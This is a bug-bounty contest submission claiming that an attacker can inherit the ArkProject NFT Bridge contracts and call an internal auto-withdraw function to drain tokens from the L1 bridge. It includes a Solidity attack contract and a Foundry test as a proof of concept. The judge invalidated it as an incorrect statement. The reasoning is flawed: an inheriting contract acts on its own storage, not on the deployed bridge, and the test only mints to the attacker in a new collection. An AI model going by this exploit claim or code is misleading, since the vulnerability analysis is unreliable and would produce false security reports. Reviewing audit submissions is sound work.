ArkProject: NFT Bridge
ArkProject
NFTBridge
60,000 USDC
View results
Previous Next
Submission Details
Severity: high
Invalid

An Attacker Can Call _consumeMessageAutoWithdraw, Allowing Him to Withdraw Any Token Held by the L1 Bridge

cholakovv

Summary

An attacker can create a custom contract with a withdraw function that invokes the StarklaneMessaging::_consumeMessageAutoWithdraw method, enabling them to withdraw any token held by the L1 Bridge.

Vulnerability Details

The C-1 finding of this audit report, identifies a critical vulnerability in the Starklane::withdrawTokens function. When the WITHDRAW_AUTO flag in the request header is set to true, it triggers a call to the StarklaneMessaging::_consumeMessageAutoWithdraw function, where no validation is performed on the request to confirm that a message was actually sent from L2. This oversight allows an attacker to pass a request into the withdrawTokens endpoint that didn’t originate from L2, enabling the withdrawal of any token held by the L1 Bridge.\

The protocol attempted to 'fix' the issue by commenting out the function call in Starklane::withdrawTokens. Now, if the function is called with the WITHDRAW_AUTO flag set to true, it reverts with the NotSupportedYetError error:

function withdrawTokens(
uint256[] calldata request
) external payable returns (address) {
if (!_enabled) {
revert BridgeNotEnabledError();
}
​
// Header is always the first uint256 of the serialized request.
uint256 header = request[0];
​
// Any error or permission fail in the message consumption will cause a revert.
// After message being consumed, it is considered legit and tokens can be withdrawn.
if (Protocol.canUseWithdrawAuto(header)) {
// 2024-03-19: disabled autoWithdraw after audit report
@>> // _consumeMessageAutoWithdraw(_starklaneL2Address, request);
@>> revert NotSupportedYetError();
} else {
_consumeMessageStarknet(
_starknetCoreAddress,
_starklaneL2Address,
request
);
}
​

While this fix might be sufficient if StarklaneMessaging::_consumeMessageAutoWithdraw were a private function as it will be callable only within our contract, the problem is that it's internal. Since internal functions can be called from any contract that inherits from the original contract, an attacker could exploit this vulnerability. By creating a malicious contract that inherits from the target contract and includes a custom withdraw function, the attacker could invoke StarklaneMessaging::_consumeMessageAutoWithdraw with the token ID of another user, effectively transferring ownership of the token to themselves.

Proof of Concept

To understand the vulnerability in more detail, here is a coded PoC exploiting it:

Follow these steps:

  • Create an AttackContract.t.sol contract in the apps/blockchain/ethereum/test folder and paste the following code inside:

// SPDX-License-Identifier: MIT
​
pragma solidity ^0.8.0;
​
import "../src/Messaging.sol";
import "../src/Protocol.sol";
import "../src/Bridge.sol";
import "../src/token/CollectionManager.sol";
​
contract AttackContract is StarklaneMessaging, CollectionManager, Starklane {
function maliciousWithdraw(
snaddress fromL2Address,
uint256[] calldata request
) external payable returns (address) {
uint256 header = request[0];
​
_consumeMessageAutoWithdraw(fromL2Address, request);
​
Request memory req = Protocol.requestDeserialize(request, 0);
​
address collectionL1 = _verifyRequestAddresses(
req.collectionL1,
req.collectionL2
);
​
CollectionType ctype = Protocol.collectionTypeFromHeader(header);
​
if (collectionL1 == address(0x0)) {
if (ctype == CollectionType.ERC721) {
collectionL1 = _deployERC721Bridgeable(
req.name,
req.symbol,
req.collectionL2,
req.hash
);
_whiteListCollection(collectionL1, true);
} else {
revert NotSupportedYetError();
}
}
​
for (uint256 i = 0; i < req.tokenIds.length; i++) {
uint256 id = req.tokenIds[i];
​
bool wasEscrowed = _withdrawFromEscrow(
ctype,
collectionL1,
req.ownerL1,
id
);
​
if (!wasEscrowed) {
IERC721Bridgeable(collectionL1).mintFromBridge(req.ownerL1, id);
}
}
​
emit WithdrawRequestCompleted(req.hash, block.timestamp, request);
​
return collectionL1;
}
}

  • Again, inside the test folder, create an Auditor.t.sol file and paste the following code:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
​
import "openzeppelin-contracts/contracts/token/ERC721/IERC721.sol";
import "openzeppelin-contracts/contracts/token/ERC1155/IERC1155.sol";
​
import "forge-std/Test.sol";
import "../src/IStarklane.sol";
import "../src/IStarklaneEvent.sol";
​
import "../src/Bridge.sol";
import "../src/sn/Cairo.sol";
import "../src/sn/StarknetMessagingLocal.sol";
import "../src/sn/IStarknetMessagingLocal.sol";
import "../src/token/Deployer.sol";
import "../src/token/TokenUtil.sol";
​
import "./utils/Users.sol";
import "./token/ERC721MintFree.sol";
import "./token/IERC721MintRangeFree.sol";
import "./AttackContract.t.sol";
import "forge-std/console2.sol";
​
/**
@title Bridge testing.
*/
contract AuditorTest is Test, IStarklaneEvent, AttackContract {
address bridge;
AttackContract attackContract;
address erc721C1;
address erc1155C1;
address snCore;
​
address payable internal alice;
address payable internal bob;
address payable internal attacker;
​
function setUp() public {
Users genusers = new Users();
address payable[] memory users = genusers.create(5);
alice = users[0];
bob = users[1];
attacker = users[2];
​
// "Regular" collections, not controlled by the bridge.
erc721C1 = address(new ERC721MintFree("name 1", "S1"));
​
snCore = address(new StarknetMessagingLocal());
​
address impl = address(new Starklane());
​
bytes memory dataInit = abi.encodeWithSelector(
Starklane.initialize.selector,
abi.encode(address(this), snCore, 0x1, 0x2)
);
​
bridge = address(new ERC1967Proxy(impl, dataInit));
attackContract = new AttackContract();
IStarklane(bridge).enableBridge(true);
}
​
function test_attack() public {
// Mint the token to alice before the attack
IERC721MintRangeFree(erc721C1).mintRangeFree(alice, 0, 1);
​
// Check and log the original owner of the token
IERC721 erc721 = IERC721(erc721C1);
address originalOwner = erc721.ownerOf(0);
console2.log("Original owner of token ID 0: ", originalOwner);
assertEq(
originalOwner,
alice,
"The token should be owned by Alice initially"
);
​
// Build the request and compute its "would be" message hash.
felt252 header = Protocol.requestHeaderV1(
CollectionType.ERC721,
false,
false
);
Request memory req = buildRequestDeploy(header, 0, attacker);
uint256[] memory reqSerialized = Protocol.requestSerialize(req);
​
(snaddress starklaneL2Address, ) = IStarklane(bridge).l2Info();
​
// Call the attack contract with the L2 address
address collectionL1 = attackContract.maliciousWithdraw(
starklaneL2Address,
reqSerialized
);
​
// Verify the attacker's ownership of the withdrawn token
erc721 = IERC721(collectionL1);
address tokenOwner = erc721.ownerOf(0);
console2.log("Attacker's address: ", attacker);
console2.log("Token ID 0 new owner: ", tokenOwner);
​
assertEq(erc721.ownerOf(0), attacker);
}
​
function buildRequestDeploy(
felt252 header,
uint256 id,
address newOwner
) public pure returns (Request memory) {
uint256[] memory ids = new uint256[](1);
ids[0] = id;
​
Request memory req = Request({
header: header,
hash: 0x1,
collectionL1: address(0x0),
collectionL2: Cairo.snaddressWrap(0x123),
ownerL1: newOwner,
ownerL2: Cairo.snaddressWrap(0x789),
name: "",
symbol: "",
uri: "ABCD",
tokenIds: ids,
tokenValues: new uint256[](0),
tokenURIs: new string[](0),
newOwners: new uint256[](0)
});
​
return req;
}
}

  • Run in your terminal the following command:

forge test --match-test test_attack -vvvv

Impact

An attacker can withdraw any token held by the L1 Bridge.

Tools Used

Manual review, Foundry

Recommendations

For the shor-term making the StarklaneMessaging::_consumeMessageAutoWithdraw function private or commenting it out can be a solution. However, for the long term, as suggested in C-1 of the audit report, it is recommended to consume the L2 message.

Updates

Lead Judging Commences

n0kto Lead Judge about 1 year ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.